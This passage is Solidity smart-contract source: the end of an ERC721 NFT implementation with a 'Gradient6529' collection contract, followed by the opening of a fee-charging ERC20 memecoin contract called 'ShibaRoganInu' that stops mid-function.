* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
contract Gradient6529 is ERC721, ERC721Burnable, Ownable {
// Mapping from token ID to on-chain data
mapping (uint256 => string) private _tokenData;
// baseURIextended
string private _baseURIextended;
constructor() ERC721("6529 Gradient", "6529G") {
_baseURIextended = "";
for(uint i = 0; i < 101; i++) {
_safeMint(address(0xfD22004806A6846EA67ad883356be810F0428793), i);
}
}
function _baseURI() internal view override returns (string memory) {
return _baseURIextended;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseURIextended = baseURI;
}
function setTokenData(uint256 tokenId, string memory _data) public onlyOwner {
require(_exists(tokenId), "Data set of nonexistent token");
_tokenData[tokenId] = _data;
}
function tokenData(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "Data query for nonexistent token");
return _tokenData[tokenId];
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-02-10
*/
/**
Telegram: https://t.me/ShibaRoganInu
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ShibaRoganInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0x847B02A3b16F21BA9a52CFE2532A689911a48A81); // Marketing Address
address payable public liquidityAddress =
payable(0x847B02A3b16F21BA9a52CFE2532A689911a48A81); // Liquidity Address
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 1e12 * 1e18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ShibaRoganInu";
string private constant _symbol = "ShibaRoganInu";
uint8 private constant _decimals = 18;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _buyTaxFee = 5;
uint256 public _buyLiquidityFee = 2;
uint256 public _buyMarketingFee = 3;
uint256 public _sellTaxFee = 10;
uint256 public _sellLiquidityFee = 2;
uint256 public _sellMarketingFee = 3;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 private _liquidityTokensToSwap;
uint256 private _marketingTokensToSwap;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 602 * 1 gwei;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 public minimumTokensBeforeSwap;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
address newOwner = msg.sender; // update if auto-deploying to a different wallet
address futureOwner = address(msg.sender); // use if ownership will be transferred after deployment.
maxTransactionAmount = _tTotal * 15 / 1000; // 1.5% max txn
minimumTokensBeforeSwap = _tTotal * 8 / 10000; // 0.08%
maxWallet = _tTotal * 15 / 1000; // 1.5%
_rOwned[newOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
// ROPSTEN or HARDHAT
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
marketingAddress = payable(0xEf65BA441f54ba18d43580d37a3F766371006f15); // update to marketing address
liquidityAddress = payable(address(0xEf65BA441f54ba18d43580d37a3F766371006f15)); // update to a liquidity wallet
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[newOwner] = true;
_isExcludedFromFee[futureOwner] = true; // pre-exclude future owner wallet
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(newOwner, true);
excludeFromMaxTransaction(futureOwner, true); // pre-exclude future owner wallet
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), newOwner, _tTotal);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
